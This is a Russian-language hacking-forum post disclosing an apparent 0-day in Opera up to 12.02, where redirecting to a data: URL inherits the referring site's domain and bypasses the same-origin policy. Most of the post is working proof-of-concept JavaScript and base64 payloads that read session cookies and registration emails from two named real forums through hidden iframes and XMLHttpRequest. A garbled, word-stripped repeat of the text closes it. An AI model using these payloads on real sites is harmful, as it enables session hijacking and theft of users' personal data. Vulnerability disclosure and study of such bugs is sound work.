XSS на любых сайтах (Opera, 0-day, обход SOP) follow





Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.

Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.

Советую предварительно ознакомится со следующей информацией:

http://ru.wikipedia.org/wiki/Правило_ограничения_домена

http://ru.wikipedia.org/wiki/Data:_URL





В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.

Пример:

PHP код: < script > alert ( document . domain ) </script>

PHP код: data : text / html ; base64 , PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ +

tinyurl.com:

http://tinyurl.com/antichat-test1



При переходе по ссылке мы увидим алерт "tinyurl.com".

Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1





При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()

Пример:

PHP код: < script >

if( document . domain == 'tinyurl.com' )

location . reload ();

else

alert ( document . domain );

</script>

PHP код: data : text / html ; base64 , PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg ==



http://tinyurl.com/antichat-test2



Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.





Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.



Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.





PoC:

1) Читаем куки forum.antichat.ru:

PHP код: < script >

if( document . domain == 'tinyurl.com' )

location . reload ();



function xss ()

{

alert ( document . frames [ 0 ]. document . cookie );

}



function ifrAdd ()

{

var ifr = document . createElement ( 'iframe' );

ifr . style = 'width:0px;height:0px;visibility:hidden' ;

ifr . src = 'http' ;

ifr . src += document . referrer . length ? '' : 's' ;

ifr . src += '://forum.antichat.ru/css/a.css' ;

ifr . onload = function(){ xss ()};

document . body . appendChild ( ifr );

}



</script>

<body onload=ifrAdd()>

PHP код: data : text / html ; base64 , PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk +

forum.antichat.ru):

http://tinyurl.com/antichat-cookie





2) Читаем куки rdot.org

PHP код: < script >

if( document . domain == 'tinyurl.com' )

location . reload ();



function xss ()

{

alert ( document . frames [ 0 ]. document . cookie );

}



function ifrAdd ()

{

var ifr = document . createElement ( 'iframe' );

ifr . style = 'width:0px;height:0px;visibility:hidden' ;

ifr . src = 'https://rdot.org/forum/clientscript/vbulletin_read_marker.js' ;

ifr . onload = function(){ xss ()};

document . body . appendChild ( ifr );

}



</script>

<body onload=ifrAdd()>

PHP код: data : text / html ; base64 , PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg ==

rdot.org):

http://tinyurl.com/rdot-cookie





3) Читаем регистрационное мыло forum.antichat.ru

PHP код: < script >

if( document . domain == 'tinyurl.com' )

location . reload ();



function getMail ()

{

var x = new XMLHttpRequest ;

x . open ( 'GET' , 'http' + ( document . referrer . length ? '' : 's' ) + '://forum.antichat.ru/profile.php?do=editpassword' , false );

x . send ( null );

alert ( x . responseText . match (/ name = "email" value = "(.+?)" /)[ 1 ]);

}

</script>

<body onload=getMail()>

PHP код: data : text / html ; base64 , PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis / KSIvKVsxXSl9PC9zY3JpcHQ + PGJvZHkgb25sb2FkPWEoKT4 =

forum.antichat.ru):

http://tinyurl.com/antichat-mail





4) Читаем регистрационное мыло rdot.org

PHP код: < script >

if( document . domain == 'tinyurl.com' )

location . reload ();



function getMail ()

{

var x = new XMLHttpRequest ;

x . open ( 'GET' , 'https://rdot.org/forum/profile.php?do=editpassword' , false );

x . send ( null );

alert ( x . responseText . match (/ name = "email" value = "(.+?)" /)[ 1 ]);

}

</script>

<body onload=getMail()>

PHP код: data : text / html ; base64 , PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA / ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg ==

rdot.org):

http://tinyurl.com/rdot-mail







тема на antichat.ru Браузерпозволяет выполнить-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.Уязвимы версии для Opera для Windows, Mac и Linux довключительно (последняя версия на сегодняшний день). На версиях допроверка не проводилась.Советую предварительно ознакомится со следующей информацией:В опере при перенаправлении с сайта начерез-заголовоксвойствоимеет значение последнего перенаправляющего сайта.Ссылка, сокращенная через сервисПри переходе по ссылке мы увидим алерт "".Если нажатьдля повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылкуПри нажатиипроисходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью-методаСсылка:Теперь в алерте будет домен, с которого осуществлялся переход. Согласноэто дает доступ к данным, находящимся на том же домене.Ссылка (пример работает при переходе по ссылке с домена):Ссылка (пример работает при переходе по ссылке с домена):Ссылка (пример работает при переходе по ссылке с домена):Ссылка (пример работает при переходе по ссылке с домена): Последний раз редактировалось M_script; 07.02.2013 в 20:21 ..